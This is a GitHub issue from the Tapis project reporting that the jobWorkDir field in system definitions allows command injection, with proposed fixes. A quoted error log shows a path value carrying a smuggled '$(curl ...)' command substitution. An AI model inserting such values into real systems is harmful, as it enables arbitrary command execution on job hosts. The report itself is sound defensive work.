Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Systems: Protect against command injection #55

Open
richcar58 opened this issue May 2, 2023 · 0 comments
Open

Systems: Protect against command injection #55

richcar58 opened this issue May 2, 2023 · 0 comments
Assignees
Labels
enhancement New feature or request

Comments

@richcar58
Copy link
Contributor

richcar58 commented May 2, 2023

jobWorkDir and possibly other fields in system definitions are susceptible to command injection. These field take unstructured string data used to build paths and these path sometimes appear in executable scripts during job execution. While it's true that these scripts can only perform actions allowed under the host account on which they run, the exposure is worse when service accounts are used. Here is an example of how a command can be embedded in a system's jobWorkDir:

JOBS_WORKER_PROCESSING_ERROR An exception occurred on JobWorker wkr-DefaultQueue-14 on queue tapis.jobq.submit.DefaultQueue running wkr-DefaultQueue-JobQueueProcessor while processing job c080a4f1-74e9-4d63-b140-425966372616-007: TAPIS_SFTP_CMD_ERROR Job c080a4f1-74e9-4d63-b140-425966372616-007 is unable to issue sftp command on system aws_ec2_amit (host=52.9.136.88) as user ubuntu in tenant amit with target file "/home/ubuntu/tapis_system/workdir_$(curl https:/seedmelab.org/nnnnn1)/jobs/c080a4f1-74e9-4d63-b140-425966372616-007/tapisjob.sh": readAck - EOF before ACK

We can address this issue at definition time by rejecting common constructs that inject commands. We can also use single quoting at runtime to avoid command interpretation (see a similar issue in tapis-jobs). Actions taken here may also apply to fields in application definitions.

@richcar58 richcar58 added the enhancement New feature or request label May 2, 2023
@scblack321 scblack321 changed the title Protect against command injection Systems: Protect against command injection May 8, 2023
@scblack321 scblack321 moved this from To Do to On Hold in Tapis Project Beta Board Sep 14, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
enhancement New feature or request
Projects
None yet
Development

No branches or pull requests

2 participants